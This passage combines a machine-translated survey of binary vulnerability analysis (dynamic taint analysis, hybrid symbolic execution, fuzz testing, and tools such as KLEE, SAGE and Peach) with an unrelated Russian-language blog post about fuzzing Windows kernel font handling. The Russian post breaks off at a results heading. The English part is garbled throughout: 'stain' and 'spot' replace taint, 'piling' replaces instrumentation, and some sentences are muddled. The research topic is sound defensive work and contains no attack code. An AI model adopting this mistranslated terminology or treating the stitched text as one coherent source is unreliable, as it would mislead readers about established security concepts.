Identifying the source of a spot is a prerequisite for spot analysis. The current methods of stain source identification mainly include: all external inputs of the program are marked as stain data; Manual labeling of stain sources based on manual analysis; Use statistical or machine learning techniques to automatically identify and label stain sources.
2.Spot tracking
Trace the tarment data according to specific propagation rules to see the propagation path of the tarment data. The stain propagation rules are the most important part of the stain analysis process. There are two approaches to taint propagation analysis of binary code, one is to analyze the underlying instruction set directly, and the other is to analyze the intermediate language of the binary code after translation. Due to the lack of semantic information for direct binary code analysis, the analysis is difficult, so the taint analysis technique based on the intermediate language will be used to analyze the taint according to the information flow obtained by the intermediate language.
3.Key point detection
Detect critical points according to reasonable detection rules to see if the key points of the program use data marked with stains.
3.3 Research Status
In recent years, many scholars at home and abroad have conducted in-depth research on the stain analysis method, YIN and others proposed an extension platform TEMU based on the QEMU virtual machine, which can solve some difficulties in dynamic analysis and facilitate program analysis on it. TEMU uses a system-wide perspective to analyze activities in the kernel and interactions between multiple processes, with in-depth analysis in a fine- grained manner. KANG et al. proposed a dynamic stain propagation scheme DTA++, consisting of two stages: first, by diagnosing the branch generation rules that produce incomplete stains, and determining the additional propagation required for offline analysis;Second, apply those rules in later dynamic stain analysis. The basic principle is to find the path of the control flow of incomplete stains, and use both symbolic execution and path-predicate-based methods to solve the constraints of the path, in which the execution trajectory of the program can be represented as a set of path constraints judged by a series of branching conditions. Zhuge Jianwei et al. proposed dynamic stain analysis technology based on type perception and symbolic execution technology for type variables, which effectively solved the problem that the current stain analysis technology working at the binary level could not provide high-level semantics for software vulnerability analysis. The technique labels the type source spot's taint variable and adds type information as its stain attribute to form the spot source. In the process of stain propagation, the semantics of instructions and open library functions are used, combined with the type information disclosed by the Type Sink point as a supplement, the type information of the variable is passed, the variable- level stain propagation is done, and the symbolic execution of the type variable is carried out while the stain is propagated, and the program execution path conditions are obtained to form a library of security vulnerability features. Ma Jinxin et al. proposed a stain analysis method based on the offline indexing of the execution trail, using a dynamic piling tool to track the execution of the program, and record the status information of the execution into the trace file; The trace file is then analyzed offline and indexed, and only the operations related to the stain data are focused on in the spread of the spot, and the instructions unrelated to the spot data are directly skipped, thus saving the analysis time.
3.4 Problems
In the current dynamic stain analysis research, there are mainly the following problems.
3.4.1 Implicit StreamIng Problems
The implicit flow problem is the pollution problem under the dependency of the control flow. In the process of taint propagation analysis, it can be divided into explicit flow analysis and implicit flow analysis according to the different program dependencies of interest. Explicit flow analysis is the propagation of data dependencies between variables in the analysis of stain marks; Implicit flow analysis is the propagation of control dependencies between analytical taint tags as they travel with program variables. Implicit flow spot propagation is an important issue in stain analysis techniques, and if the spot data is not properly treated, the results of the spot analysis will be inaccurate. At present, there are two main cases, namely under-taint and over-taint of taint data. The problem of under-contamination is due to the fact that the implicit flow taint propagation is not properly treated, resulting in variables that should have been labeled not being labeled. The over-contamination problem is due to the proliferation of stain variables due to the excessive number of stains marked. Current research on implicit flow problems focuses on minimizing under- and over-contamination.
The first concern of dynamic implicit flow is how to determine the scope of statements that need to be labeled under taint control conditions. Since the dynamic execution trajectory does not reflect the control dependencies between the executed programs, the current approach is to use offline static analysis to assist in determining the range of implicit flow markers in dynamic taint propagation. The second problem with dynamic analysis is the underreporting of potential security issues due to partially tainted information leaks. Because there are paths that are not covered, that is, paths that are not executed, there are cases where spot information is propagated and leaked through these unexecuted paths during dynamic spot analysis. The current solution is also to add offline static analysis to the dynamic analysis. The third problem is how to choose the appropriate stain marker branch for spot propagation. Simply propagating all branches containing stain marks will lead to over- contamination, so filter-labeled branches of stain markers are required to reduce over-contamination. The DTA++ tool proposed by KANG et al. uses a symbolic execution method based on offline execution trails to find branches for taint propagation.
3.4.2 Stain removal problems
In a spot analysis, if the number of spot marks increases continuously and spreads continuously during execution, some of the spots that should be removed are not removed, resulting in false positives that affect the accuracy of the results of the analysis. Proper use of spot removal can reduce the number of spot marks in the system, improve the efficiency of spot analysis, and avoid inaccurate analysis results due to spot spread. Therefore, for special cases, such as the encryption of sensitive data and the presence of constant functions, decontamination can be considered.
3.4.3 Analysis is expensive
Some stain analysis tools require the use of piling or dynamic code rewriting techniques, which can be a significant overhead to the analysis system . For example, TaintCheck uses the piling tool Valgrind to represent Ucode stakes in the middle and implement dynamic spot analysis for x86 programs; Dytan uses the plug program Pin to implement dynamic spot analysis for x86 programs. In order to control the cost of analysis, the existing research work adopts the idea of selectively analyzing the propagation of taints on the instructions in the system. For example, the fast-path optimization technique proposed by QIN et al. determines whether the input and output of a module are threatened in advance;This is how to determine whether taint propagation is required, and if there is no threat, it is not taint propagation, thereby reducing costs. Peng Jianshan et al. used stain backtracking (a reverse stain propagation analysis) to trace the source of the stain by establishing a collection of suspicious stains to narrow the scope of the spots to be analyzed, and thus reduced the cost. Lin Wei et al. further solved the problem of large time and cost of spot propagation analysis for trajectory record files in offline stain analysis, and proposed an efficient stain propagation method based on semantic rules, thereby reducing cost and improving efficiency. However, these methods have a greater or lesser impact on the accuracy of the analysis, so further research is needed on how to reduce the cost of the analysis without reducing the accuracy of the analysis.
3.4.4 The rate of false negatives is high
Dynamic spot analysis technology has a high false alarm rate and low accuracy, which is a more difficult problem to solve, because it is determined by the nature of the dynamic operation of the program. The execution of any program's code can change during a single run, which is different from the test cases that are entered into the program. Therefore, the results of a single analysis of the dynamic stain analysis technology may only cover part of the code of the program, so that it cannot dig out the part of the unrigged code, resulting in a high false positive rate. To solve this problem, it is necessary to analyze the entire program code and function, and try to make the code coverage of dynamic analysis close to 100% by constantly constructing suitable test cases.Zhu Zhengxin et al. proposed a dynamic symbolic stain analysis method to solve the problem of high underreporting rate of stain analysis, which uses the idea of symbolization to symbolize the stain information and risk rules, and at the same time detect whether there is a violation of certain risk rules in the process of spreading the stain data, and then detect the unsafe behavior of the program. Cui Hualiang et al. proposed the offline stain analysis method, which split the stain analysis system into two modules (dynamic recording module and static replay module), and reduced the problem of high underreport rate in dynamic analysis by adding static analysis.
3.4.5 High-level semantic information is missing
The lack of necessary semantic and type information in the underlying binary code limits the application of dynamic spot analysis techniques in binary program analysis. Zhuge Jianwei et al. proposed dynamic stain analysis technology based on type perception and symbolic execution technology for type variables, which effectively solved the problem that the current stain analysis technology working at the binary level could not provide high-level semantics for software vulnerability analysis. This technology makes full use of the type information of the input point for type transmission and derivation, and combines the type information of the Type Sink point to promote the dynamic spot analysis in binary program analysis to variable granularity, and performs symbolic execution for type variables while the stain propagates, so that vulnerability analysis and feature extraction have better semantic support.
The advantage of dynamic stain analysis is that accurate program runtime information can be obtained through the execution of the program, but because the dynamic stain analysis can only perform a single program path for a dynamic run, after multiple executions, there will still be paths that are not covered, then the security problems on these uncovered paths will be ignored, and there will be some stain information leakage problems. As a result, dynamic spot analysis can be used in conjunction with symbol execution techniques to improve path coverage. At present, the research focus of dynamic stain analysis technology includes the design of propagation logic, the optimization of analysis efficiency, and implicit flow analysis.For the current stain analysis tools can not take into account the lack of speed and accuracy, some researchers proposed a combination of coarse and fine particle size dynamic spot analysis method, the method combined with the advantages of the two through the online coarse particle size mode to ensure the rapid collection of stain analysis information, while the use of offline fine particle mode to a reasonable time consumption to improve the accuracy of spot analysis. In the future, dynamic taint analysis will be carried out according to the information flow obtained in the intermediate language, and the vulnerability determination will be carried out in combination with the formulated security policy, and the vulnerability determination will also be combined with the hybrid symbol execution technology.
4 Hybrid symbolic execution techniques
4.1 Fundamentals and classification of symbol execution
4.1.1 Symbolic execution and mixed symbol execution
The basic idea of symbolic execution is to replace program variables with abstract symbols, or to represent the values of program variables as a calculation expression composed of symbolic values and constants, simulating program execution, and thus performing correlation analysis. Using symbolic execution has the following advantages: First, a symbolic execution is equivalent to the specific execution of a set of inputs that may be infinitely more, and this set of inputs can be called input equivalent classes; Second, algebraic relationships between variables can be discovered, which makes the internal logic of the program easy to understand; Finally, symbolic execution accurately records the constraints of the path, making it easier to further judge the path feasibility and construct test cases for the program based on the constraints.
However, due to the lack of dynamic runtime information of the program in static symbol execution, the program execution is difficult to be fully simulated, and the analysis is not accurate enough. To solve this problem, the relevant researchers proposed the hybrid symbolic execution technique, which is a dynamic analysis technique. The core idea of hybrid symbolic execution is to determine which part of the program can run directly and which part needs to be executed by symbols in the real operation environment of the program. In this way, the runtime information of the program is fully utilized, improving the accuracy of the analysis.
4.1.2 Binary programs perform classification of mixed symbols
Binary-oriented hybrid symbol execution can be divided into online symbol execution and offline symbol execution from the perspective of whether the analysis is simultaneous during the execution process; From the perspective of analyzing the morphology of objects, it can be divided into symbolic execution for the underlying instruction system and symbolic execution for intermediate code.
Online symbolic execution refers to the simultaneous execution of programs and symbolic calculations, such as SmartFuzz; Offline symbol execution refers to the recording of the program execution trajectory first, and then the symbolic calculation is performed according to the replay of the trajectory execution, such as SAGE .
Online symbol enforcement faces the following problems. 1. Since the symbol execution process will occupy more resources, online symbol execution may reduce the performance of the target program. For example, during symbol execution, the target program may exit early due to lack of computing resources, which limits the depth of the program execution trajectory, resulting in the final collected program may lack some necessary internal information. 2. Usually there will be concurrency and some uncertain events in the execution process of the program, which may bring some unpredictable problems to the online symbol execution.Synchronization relationships that exist in multithreaded or multi-process programs are likely to be broken by online mixed symbol execution, which can lead to resource conflicts or even errors in the target program. 3. If code obfuscation, hulling and other protection techniques are used in the target program, the hybrid symbol execution is likely to not work properly. Based on the above problems, offline symbol execution technology will be used for vulnerability mining in future research work.
The use of offline symbol execution can effectively alleviate the above problems. On the one hand, in the process of offline symbol execution, only the program execution trajectory is recorded, and there is no need for symbol calculation, which brings a small performance loss to the target program; Even with the support of hardware virtualization conditions, it is possible to record the execution trajectory at the hardware level. On the other hand, the function of recording the execution trajectory of the program is relatively simple, which has less impact on the execution of the target program and does not break the synchronization relationship of the target program's multi- threading or multi-process. Moreover, the symbolic computation during the performance of the trajectory replay can be fully implemented on a high- performance computing platform, which also means that it can be run on a different platform than the target program, thereby improving the performance of symbolic analysis.
Symbolic execution for the underlying instruction system refers to symbolic execution according to the semantics of the underlying instructions, such as SAGE; Symbolic execution for intermediate code refers to the translation of the underlying instructions on the execution trajectory into the intermediate code, and then the symbolic calculation of the intermediate code, such as SmartFuzz .
The main advantage of symbolic execution for intermediate code is that it has good compatibility for different instruction systems. At the same time, the symbolic execution engine interprets intermediate code rather than the underlying instructions, which makes it highly extensible. For programs running on different instruction systems, it is only necessary to re-implement the execution trajectory recording, and the different instruction systems can be translated into the same intermediate code, and the program running on the platform can be analyzed accordingly.In the process of replaying the execution trajectory, the underlying instructions are first translated into an intermediate language, and then the corresponding information flow is obtained according to the intermediate language, and then the hybrid symbol execution is carried out.
4.2 The process of symbolic execution
Typically, the basic process of performing vulnerability analysis using symbols is shown in Figure 5. It mainly includes two parts: binary program modeling and vulnerability analysis.
View attachment 35304
Figure 5 The basic process of symbolic execution
1.Binary program modeling
Modeling a binary program involves performing a basic parsing of the binary code to obtain an intermediate representation of the program code. Because the symbol execution process is usually a path-sensitive analysis process, after the binary code is parsed, the system usually needs to build a structure diagram to describe the program path, such as the program call diagram and the control flow diagram, which may be used in the symbol execution analysis process to assist the symbol execution.
2. Vulnerability analysis
The vulnerability analysis process mainly includes two parts: symbolic execution and constraint solving. Symbolic execution represents the values of variables as evaluation expressions for symbols and constants, and represents path conditions and conditions with vulnerabilities in the program as constraints on symbolic values; The constraint solving process not only determines whether the path conditions are satisfied, and makes a choice of paths based on the judgment results, but also checks whether the conditions for the vulnerability of the program are satisfied. In the process of symbol execution, it is often necessary to exploit certain vulnerability analysis rules, which describe the situations under which symbols need to be introduced and under what circumstances the program may have vulnerabilities.
4.3 Development and research status of symbol execution
Symbolic execution was proposed in 1975, and was first used in software testing. Later, BUSH et al. proposed The Static Symbol Execution Tool Prefix, which uses path sensitivity and inter-process analysis to reduce false positives and apply symbol execution techniques to the field of vulnerability mining. In the simulation execution, in order to avoid path explosion, Prefix only checks a maximum of 50 paths inside each function, after all paths are completed, Prefix merges the results of all paths, establishes a summary of the function, and when the function is called again, the built summary can be directly applied to accelerate the simulation. Microsoft then acquired Prefix, and on this basis implemented Prefast, which has become one of the standard source code static detection tools within Microsoft.
Static symbol execution technology requires simulating the program execution environment during analysis, and due to its lack of relevant information about the dynamic operation of the program, program execution is difficult to be fully simulated, and the analysis is not accurate enough. To solve this problem, the researchers proposed the concept of mixed symbolic execution, which transformed symbolic execution from a program static analysis technique to a dynamic analysis technique, and implemented a series of representative tools such as CUT, DART, etc. CUTE Uses hybrid execution techniques to represent test cell inputs in memory graphs, generating constraint expressions and tracking during symbol execution. In order to reduce the overhead of symbolic execution, CUTE adopts a combination of random testing and symbolization, and by default uses random testing to detect the program. When the random test is close to saturation, the test case is generated by symbolic execution and then moves on to a new path to continue execution. KLEE developed by CADAR et al. is an open source tool for constructing program test cases using symbolic execution technology, which can be used to analyze C language programs under the Linux system, and at the same time as analyzing the test cases constructed by the program, it also uses symbolic execution and constraint solving techniques to analyze the value range of symbols at key program points, and check whether the value range of symbols is within the scope of safety regulations. If the value of the symbol found in the analysis does not meet the security regulations, the program is considered to have a corresponding vulnerability. When KLEE constructs test cases, it considers not only path conditions, but also the conditions that trigger the program vulnerability.
Because source-oriented tools are limited in use due to the inability to obtain program source code, researchers have proposed to implement hybrid symbolic execution techniques at the binary code level, and have developed many tools based on this, such as SAGE, BitBlaze, SmartFuzz and so on. SAGE dynamically tests programs with legitimate inputs, tracks and records instruction execution with the help of the binary analysis platform iDNA, collects path constraints in instruction replay and solves them one by one, and generates new test sets to drive program execution of different paths and maximize code coverage. BitBlaze is a binary analysis platform that integrates technologies such as static analysis, dynamic analysis, and dynamic symbol execution, which is mainly composed of 3 parts, namely Vine, TEMU and Ruder, which implement functions such as static analysis, dynamic analysis, and dynamic symbol execution, respectively. SmartFuzz is a Valgrind-based binary instrumentation tool that can be used to discover integer vulnerabilities in binary programs under Linux. SmartFuzz converts binary code into VEX intermediate languages, then performs online symbol execution and constraint solving, and dynamically generates test cases.
4.4 Problems
In the current research on symbol execution technology, there are mainly the following two problems.
4.4.1 Path explosion problem
Symbolic execution technology faces a major problem, namely the path explosion problem. The main reason for this is that whenever an if-like statement is encountered, it is possible to make the present set of paths one more new path on top of the original. The way this path grows is exponential.
There are several main ways to solve the path explosion problem: 1. The number of paths within each process is conventionally limited, which is somewhat similar to the execution of the limit symbol. 2. Improve the analytical performance of symbol execution by improving the path scheduling algorithm. For example, BOONSTOPPEL et al. proposed the idea of cropping the path on the basis of the EXE tool according to the way and characteristics of the program execution, and reduced some unnecessary path analysis through the cropping idea. This method has proven to be a good way to mitigate path explosions during symbol execution. 3. Using the parallelization strategy of symbolic execution , the solution speed of the constraint solver is improved according to the current parallel computing technology.
4.4.2 Performance Issues
Symbolic execution techniques use constraint solvers to solve expressions for path conditions, and when analyzing the program, they also need to instrument the program. According to statistics, 2000 lines of C code can reach 40,000 lines after insertion, which not only means that a large number of lines of code are increased, but also means that the number of calls to the solver is increased, and the performance of the solver determines the efficiency of symbol execution. The current solution idea is to consider how to reduce the frequency of use of the solver, there are two main methods , one is to use caching technology to cache the commonly used constraint expressions or some intermediate expressions obtained during the solution process, so as to reduce some unnecessary repeated solutions; The second is to improve the solution speed by further optimizing the constraints, such as eliminating irrelevant constraints, rewriting expressions, and simplifying constraint sets.
Today, mixed symbolic execution has become an important code execution space traversal technique. Different from the traditional static symbol execution technology, hybrid symbol execution technology makes full use of the information when the program is running, improves the accuracy of symbol execution, and promotes the development of symbol execution. In addition, as the industry's demand for binary program analysis continues to grow, hybrid symbolic execution techniques for binary programs are becoming increasingly important. The main research directions in the future are as follows:
1.Symbol execution can be further combined with other techniques. Specifically, the advantages of prior art are leveraged to complement those of symbol execution techniques to compensate for some of the problems faced by individual analytical techniques.
2.For the path explosion problem faced in symbol execution, further improvement is needed. Abstract ideas can be used to process and abstract numerous path information to form a higher-level collection, so that only these abstract collections need to be traversed, which greatly reduces the number of paths and can alleviate the path explosion problem.
5 Fuzz testing techniques
5.1 Basic principles and classification of fuzz testing techniques
Fuzz testing technique is a representative technique of software vulnerability analysis, which was first proposed by MILLER et al. in 1989. Because it does not require in-depth analysis of the target program, and the vulnerabilities found through fuzz testing are generally real, fuzz testing technology occupies an important position in the field of software vulnerability analysis. The basic idea of fuzz testing is to provide a large amount of specially constructed or random data as input to the program under test, monitor the abnormal operation of the program and record the input data that causes the abnormality, supplemented by manual analysis, and further locate the location of the vulnerability in the software based on the input data that caused the error. From the perspective of test case generation strategy, fuzz testing can be divided into variation-based and generated-based fuzz testing; From the perspective of the openness of the code, the fuzz test can be divided into black box fuzz test and white box fuzz test.
Variation-based fuzz testing methods use techniques to mutate existing data to create new test cases; The generated fuzz testing method generates test cases from scratch by modeling the specific program under test.
Originally called random testing, black-box fuzz testing is a typical black- box dynamic analysis technique. The main idea is to input a large amount of irregular data into the program under test to detect whether the system is behaving abnormally. This method has the characteristics of simplicity and fast execution, but the flaw itself is that the generation of test cases is blind, that is, it lacks pertinence, so the path coverage is low. The so- called fuzz test generally refers to the black box fuzz test.
White box fuzz testing is another fuzz testing technique that has become increasingly popular in recent years, which combines fuzz testing and symbol execution. The basic idea is: first of all, the symbol execution technology traverses the path of the program, and analyzes the path conditions, solves the path conditions, and obtains the information of whether the path is reachable; Fuzz testing is then performed by generating specific test cases based on path constraints for reachable paths. This approach has high path coverage due to the combination of symbolic execution techniques to assist in generating test cases. But also because this method combines symbolic execution, it introduces the problem of path explosion and limited constraint solving ability.
5.2 Basic Process of Fuzz Testing
The fuzz test goes through roughly 5 basic stages during the execution, as shown in Figure 6.
Figure 6 Basic process of fuzz testing
1.Identify the target. In order to choose the appropriate fuzz testing tool or technology, it is first necessary to fully understand the target program and clarify the target program.
2.Identify the input. Most vulnerabilities are often exploited because programs fail to properly handle some illegal data when receiving external input, so considering all possible input scenarios for a program is important for the success of fuzz testing.
3. Build test cases. Building test cases is a critical step in the process of fuzz testing, and the generation strategy of test cases determines the test efficiency of fuzz tests. Test case generation methods can be divided into two broad categories: variation-based and generated test case generation strategies. Test case sets can be built using one or both. There are three common ways to build test cases: randomly generated test cases, pre-generated test cases, variations, or forced generation of test cases.
4. Monitor execution and filter for exceptions. According to the execution of the test case in the target program, observe whether the target program has an abnormal condition or system crash, and determine the vulnerability according to the abnormal result.
5. Determine availability. Further identify the identified vulnerability based on the application to determine whether the vulnerability can be exploited.
5.3 Development and research status of fuzz testing
Fuzz testing, which was adopted in software engineering for a long time and was originally called random testing, initially focused not on evaluating the security of software, but on verifying the quality of code. In 1989, MILLER et al. developed a fuzz test tool to detect the robustness of programs on UNIX systems. This early method of fuzzing testing was a relatively simple black- box test: simply constructing a random string and passing it to the target application, if the application has an exception during execution, then the test is considered to fail, otherwise it is considered to pass, and it turns out that the method makes the probability of the program crashing at about 25%. In 1999, the Protocol TestIng Project Team of the University of Oulu, Finland, developed the cybersecurity testing software PROTOS and first proposed the concept of a test set.
In 2002, AITEL released the fuzz testing framework SPIKE. The framework is designed to test network protocols, employing a block-based approach that is effective for testing blocks of data containing variables and corresponding variable lengths, while allowing users to create their own custom fuzz testers. In 2004, EDDINGTON released Peach, a fuzz testing framework that supports both network protocols and file formats. Written in Python, Peach primarily uses an XML file to guide the entire fuzz testing process, while being able to detect almost any network protocol because it supports cross- platform operations. In 2007, AMINI released the fuzz test framework Sulley. Sulley is a Python-based fuzz testing framework that fuzzes various network protocols and is composed of multiple extensible components, including data generation, proxies, and tools. Sulley's advantage is that it is simple to use and path-based analysis, taking into account the problem of path coverage.
In the application of fuzz testing technology to vulnerability mining, some scholars have also developed some tools accordingly. In view of the limitations of fuzz testing when encountering checksum protection mechanisms, in 2010, WANG et al. of Peking University combined mixed symbol execution and fine-grained dynamic stain propagation technology to propose a method that can bypass the checksum mechanism, and developed the corresponding toolTainScope, which removes obstacles for the application of fuzz testing to find deep vulnerabilities. Since 2011, genetic algorithms and heuristic algorithms have been used by many researchers to assist in generating test cases, thereby improving the efficiency of test case generation.
5.4 Problems
Fuzz testing has many advantages over other vulnerability mining methods, but there are also shortcomings, there are still many limitations, one of the more important is that the test case of fuzz testing is not guaranteed to cover all statement branches, and the degree of automation of fuzz testing is not high at present. Therefore, optimizing the generation of test cases for fuzz testing and improving the efficiency of fuzz testing are still the main research directions.
5.4.1 Test case generation strategy needs to be improved
Test case generation is the most critical part of the fuzz test, and its efficiency is related to the efficiency of the entire fuzz test. Early fuzz testing often used blindly enumerated test case generation strategies, which belonged to the black-box testing method. With this approach to testing, although the size of the test cases may have reached a very high level of magnitude, the test results are often not significant. Moreover, in some software, private data and checksums are widely used, and often these randomly generated data are directly discarded because they cannot pass the checksum, and the deeper vulnerabilities are difficult to detect, so that the effect of the test is not ideal. Therefore, how to optimize the generation strategy of test cases is a problem that needs to be focused on at present.
Currently, researchers have introduced some similar concepts from genetics into the generation strategy of test cases. For example, concepts such as selection and cross-reorganization, and optimization of the generation strategy for test cases. Among them, the use of genetic algorithms to assist in the generation of specific test cases has been shown to greatly improve the efficiency of test case generation, and is a very useful automated testing technology.
At the same time, you can also consider combining fuzz testing with other binary vulnerability analysis techniques. For example, dynamic spot analysis can extract the dynamic data flow or control flow information of the program and integrate it into the binary vulnerability analysis process, guide the generation of input data in the fuzz test, make the traditional black box fuzz test targeted, and greatly improve the effect of the fuzz test.
5.4.2 The degree of automation needs to be improved
Fuzz testing is a blind injection method, manual testing takes more time, resulting in its practical value is affected. In some common fuzz testing frameworks, manual involvement is often required to determine constraints on input data and generate test cases. Therefore, most of the current research focuses on automated and intelligent fuzz testing methods. One solution is still to consider using genetic algorithms in genetics to improve the degree of automation of tests.
5.4.3 Unable to resolve multipoint triggering vulnerabilities
Fuzz testing techniques often find vulnerabilities caused by only one condition, rather than vulnerabilities that require multiple conditions. In recent years, some researchers have attempted to exploit fuzz testing in mining multipoint trigger vulnerabilities and have come up with the concept of multidimensional fuzz testing. However, multidimensional fuzz testing currently has the problem of combinatorial path explosion, so it is slow to develop and further research is needed.
Fuzz testing has a great advantage over other vulnerability mining methods, as it does not require an understanding of the internal structure of the program, so it is less expensive. At the same time, fuzz testing also has some limitations, such as large test blindness, low test efficiency, and code coverage cannot be guaranteed. To address these issues, consider combining fuzz testing techniques with other binary vulnerability analysis techniques, such as dynamic spot analysis or symbolic execution. Future research efforts will integrate fuzz testing into the built binary analysis framework, combining it with symbolic execution techniques. Since the symbol execution technology has good path coverage, when generating test cases, you can first use the symbol execution technology to constrain the program, obtain a set of path constraints, and then design the test cases according to the constraints of the path, and then perform fuzz testing.The combination of fuzz testing and symbol execution to generate guided test cases will theoretically greatly improve the efficiency of fuzz testing, and the detection effect will be significantly improved. In addition, using genetic algorithms in genetics to assist in generating test cases is also a good way to do so. In view of this method, in the future, we can also pay further attention to some similar concepts and ideas in other disciplines, judge whether they can be applied to the field of vulnerability analysis, and solve some problems faced by current vulnerability analysis technology, which is also a new breakthrough point.
Эта серия постов в блоге посвящена тому, как мы использовали масштабный фаззинг, чтобы обнаружить и сообщить о 16 уязвимостях в обработке шрифтов TrueType и OpenType в ядре Windows за последний год. В части № 1 здесь мы представляем общий обзор области безопасности шрифтов, за которым следует подробное объяснение предпринятых нами усилий по фаззингу, включая общие результаты и тематические исследования двух ошибок. В предстоящей части № 2 мы поделимся конкретными техническими деталями проекта и тем, как мы пытались максимально оптимизировать каждую часть процесса и выйти за рамки текущего состояния фаззинга шрифтов ядра Windows.
Описание
Для большинства читателей этого блога нет необходимости повторять тот факт, что шрифты являются очень важным вектором атаки. Активно используется несколько различных форматов файлов. Эти форматы чрезвычайно сложны как структурно, так и семантически. В результате их, соответственно, трудно правильно реализовать, что еще больше усугубляется тем фактом, что большинство используемых в настоящее время растеризаторов шрифтов относятся к (началу) 90-х годов и были написаны на родных языках, таких как C или C++. Файлы контролируемых шрифтов также доставляются по различным удаленным каналам — документам, веб-сайтам, буферным файлам и т. д. И последнее, но не менее важное: две мощные виртуальные машины, выполняющие программы, описывающие контуры глифов в форматах TrueType и OpenType, оказались чрезвычайно полезными для создания надежных цепочек эксплуатации благодаря возможности выполнять произвольные арифметические, побитовые и другие операции с данными в памяти. По всем этим причинам шрифты были привлекательным источником ошибок повреждения памяти.
Уязвимости обработки шрифтов использовались "в дикой природе"во многих случаях, начиная от эксплойта Duqu 0-day TTF для ядра Windows (и ряда других таких 0-day исправлений в экстренных исправлениях), джейлбрейка iOS от Comex через уязвимость FreeType Type 1 к успешным заявкам на участие в соревнованиях pwn2own (Joshua Drake — Java 7 SE — 2013, Keen Team — ядро Windows — 2015). Только Microsoft выпустила несколько десятков бюллетеней по безопасности для своего шрифтового движка за последнее десятилетие, и другие поставщики и проекты не намного лучше в этом отношении. На конференциях по безопасности часто обсуждались фаззеры шрифтов или подробности конкретных ошибок, обнаруженных исследователями. С точки зрения безопасности пользователей это действительно невыгодная ситуация. Если существует семейство программного обеспечения настолько хрупкого, но широко распространенного и доступного, что большинство специалистов по безопасности могут просто зайти и легко найти удобную ошибку нулевого дня и использовать ее в целевых атаках или массовых кампаниях, что-то явно не так.
Решение проблемы безопасности программного обеспечения шрифтов
Ситуация требовала решения на более общем уровне, вместо того, чтобы добавить еще одну или две уязвимости в глобальный послужной список шрифтов и как-то чувствовать себя в большей безопасности. Посмотрим правде в глаза — используемые в настоящее время реализации не исчезнут в ближайшее время, поскольку производительность по-прежнему является важным фактором при растеризации шрифтов, а кодовые базы достигли высокого уровня зрелости за эти годы. Один из общих подходов заключается в ограничении привилегий кода обработки шрифтов в соответствующих средах, например принудительное изолирование библиотеки FreeType или перемещение механизма шрифтов из ядра в Windows (что Microsoft сделала, начиная с Windows 10). Однако в большинстве случаев это находится за пределами нашей досягаемости.
В наших силах, однако, значительно поднять планку обнаружения ошибок безопасности в соответствующем коде, тем самым увеличивая стоимость таких операций и полностью исключая некоторых действующих лиц из уравнения. С начала 2012 года мы использовали внутреннюю инфраструктуру фаззинга и доступные ресурсы для масштабного фаззинг-тестирования проекта FreeType. На сегодняшний день это привело к более чем 50 сообщениям об ошибках, многие из которых, вероятно, были уязвимостями повреждения памяти (см. списки в трекерах ошибок Savannah (http://savannah.nongnu.org/search/?...ly_group_id=7246&exact=1&max_rows=100#options) и Project Zero( [https://bugs.chromium.org/p/project-zero/issues/list?can=1 &q=status%3Afixed+product%3Afreetype&colspec=ID+Type+Status+Priority+Milestone+Owner+Summary&cells=ids](https://bugs.chromium.org/p/project- zero/issues/list?can=1&q=status%3Afixed+product%3Afreetype&colspec=ID+Type+Status+Priority+Milestone+Owner+Summary&cells=ids))). Некоторый ручной аудит кода также был задействован для обнаружения некоторых проблем. Мы надеемся, что благодаря нашим усилиям были устранены большинство уязвимостей.
Однако в контексте поиска уязвимостей FreeType является относительно легкой мишенью — его природа с открытым исходным кодом обеспечивает очень удобный ручной аудит исходного кода с полным пониманием базовой логики, позволяет использовать алгоритмы статического анализа и позволяет нам компилировать в любом инструменте в окончательный двоичный файл с низкими накладными расходами во время выполнения (по сравнению с DBI). Например, мы широко использовали инструменты AddressSanitizer, MemorySanitizer и SanitizerCoverage, которые значительно улучшили коэффициент обнаружения ошибок и предоставили нам информацию о покрытии кода, которую можно использовать для фаззинга на основе покрытия.
И наоборот, ядро Windows и его реализацию шрифтов можно считать более сложной задачей, чем обычно. Исходный код недоступен, а символы отладки общедоступны только для частей движка (обработка растровых изображений и TTF в win32k.sys, но не обработка Type 1 и OTF в ATMFD.DLL). Это уже делает любую ручную работу более требовательной, так как она должна включать реверс, что может оказаться особенно трудным для частей кода, работающих с данными шрифта косвенным образом (в отличие от кода, который отображает 1:1 части спецификации, например, виртуальная машина с контуром глифа). Кроме того, код выполняется в ядре, в одном модуле, совместно используемом с остальной частью графической подсистемы, что делает любое взаимодействие (например, инструментирование) нетривиальным, если не сказать больше. Конечно, существуют механизмы для улучшения обнаружения ошибок (например, специальные пулы), но есть и препятствия, стоящие на пути, такие как общая обработка исключений, потенциально маскирующая некоторые индикаторы ошибок.
В начале 2015 года мы начали с того, что вручную разобрали виртуальную машину Type 1/CFF в ATMFD, которая оказалась идеальной целью для аудита. Полностью автономный, достаточно сложный, но разумно ограниченный по размеру, полный устаревшего кода и, по-видимому, не прошедший должной проверки в прошлом — смесь, которую нельзя недооценивать. В результате аудита Microsoft сообщила о 8 уязвимостях в ядре Windows, некоторые из них чрезвычайно опасны. Подробный отчет об этом исследовании и самой интересной уязвимости BLEND см. в серии сообщений в блоге "Одна уязвимость в шрифтах, которая справится со всеми", начиная с части №1 (<http://googleprojectzero.blogspot.com/2015/07/one-font- vulnerability-to-rule-them-all.html>).
Реализация CharString действительно может быть эффективно проверена в целом, но та же стратегия не может быть применена ко всему коду, связанному со шрифтами win32k.sys и ATMFD.DLL. Объем кода и различные состояния программы не позволяют понять их все, не говоря уже о том, чтобы держать в голове общую картину и думать обо всех возможных отклонениях в поведении и крайних случаях. Другим вариантом был, конечно, фаззинг — метод, который не дает такой уверенности в результатах и охвате состояния кода/программы, но очень хорошо масштабируется, требует времени только для первоначальной настройки и доказал свою высокую эффективность в прошлом. На самом деле, наша оценка, основанная на общедоступных данных, заключается в том, что исторически более 90% ошибок шрифтов (аналогично всем проблемам безопасности) были обнаружены с помощью фаззинга. Это имеет дополнительное преимущество, заключающееся в том, что сообщение об обнаруженных ошибках соответствует цели поднять планку для других охотников за ошибками, поскольку они используют аналогичные методы и больше не смогут найти устраненные ошибки.
Помня об этом, в мае 2015 года мы начали фаззинг шрифтов ядра Windows, пытаясь взять то, что было известно ранее по этому вопросу, и продвинуть каждую часть процесса немного вперед, оптимизируя их или пытаясь достичь максимальной эффективности. По прошествии примерно года и множества бюллетеней, выпущенных с тех пор, ядро теперь полностью очищено от методов, которые мы использовали, и, поскольку мы считаем, что и результаты, и методы могут быть интересны для более широкой аудитории, эта серия постов должна завершиться и подвести итоги инициативы.
Полученные результаты
